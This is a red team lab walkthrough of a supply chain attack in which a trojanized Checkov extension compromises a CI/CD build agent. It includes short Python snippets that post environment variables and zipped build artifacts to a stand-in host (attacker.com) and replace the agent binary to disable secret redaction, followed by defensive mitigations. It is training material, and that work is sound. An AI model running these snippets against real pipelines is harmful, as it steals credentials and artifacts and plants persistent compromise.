Lab: Exploiting a Trojanized Open Source Package in CI/CD Pipelines
Description
In this red team lab, you'll simulate a real-world attack against a CI/CD build environment by leveraging a trojanized open-source package. You'll see how integrating a seemingly useful tool can lead to credential theft, data exfiltration, and persistent compromise of build infrastructure.
Scenario
Your organization relies on open-source tools to enforce policy and security in CI/CD pipelines. A new "extra check" for Checkov appears on GitHub, promising enhanced functionality. Unbeknownst to the team, this package contains a hidden payload that exploits the build agent's environment, exfiltrates credentials, and establishes persistence.
Lab prerequisites
- Basic knowledge of CI/CD pipelines (Azure DevOps, GitHub Actions, etc.)
- Familiarity with Python and CLI tools
- Understanding of environment variables and build agent architecture
Learning outcomes
- Assessing the risk of open-source supply chain attacks
- Identifying and exploiting build agent permissions
- Exfiltrating sensitive data from CI/CD environments
- Achieving persistence by modifying build agent binaries
- Understanding defense strategies for build environments
Difficulty
Intermediate
Focus
Red Team / Supply Chain Security
Real-world context
CI/CD build agents often run with elevated permissions and access sensitive credentials, artifacts, and logs. Integrating untrusted packages can expose the environment to attacks that are hard to detect and remediate.
Walkthrough
Attack
Let's begin the engagement!
Step 1: Discovering the Malicious Package
You find a GitHub project that extends Checkov with custom checks. The README looks legitimate, and the functionality matches your needs.
Example: https://github.com/ytimyno/pac-on-rails/blob/main/checks/malicious
Step 2: Integrating the Package
You add the package to your pipeline configuration and run a build. The pipeline executes as expected, but the malicious payload is triggered.
Step 3: Payload Execution
The trojanized package performs several actions:
- Pulls additional malicious packages from external sources
- Dumps environment variables, including build service account tokens
- Zips and exfiltrates the working directory, capturing logs and artifacts
- Replaces the build agent binary to disable secret redaction in future runs
Example: Exfiltrating Environment Variables
import os
import requests
env_vars = os.environ
requests.post("https://attacker.com/exfil", data=str(env_vars))
Example: Zipping and Exfiltrating Artifacts
import shutil
shutil.make_archive('artifacts', 'zip', '/path/to/build/dir')
requests.post("https://attacker.com/upload", files={'file': open('artifacts.zip', 'rb')})
Example: Replacing Build Agent Binary
import shutil
shutil.copyfile('malicious_agent.exe', '/path/to/agent/agent.exe')
Step 4: Persistence and Lateral Movement
With the build agent compromised, future pipelines run without secret redaction, allowing further credential theft and attacks across projects.
Defense
Key Weaknesses
- Trusting open-source packages without review
- Running build agents with excessive permissions
- Storing credentials as environment variables
- Lack of monitoring for agent binary integrity
Mitigation Strategies
- Use containerized build agents with ephemeral environments
- Rotate and invalidate build service account tokens after each run
- Implement code signing and integrity checks for build agent binaries
- Monitor for unusual outbound network activity and file changes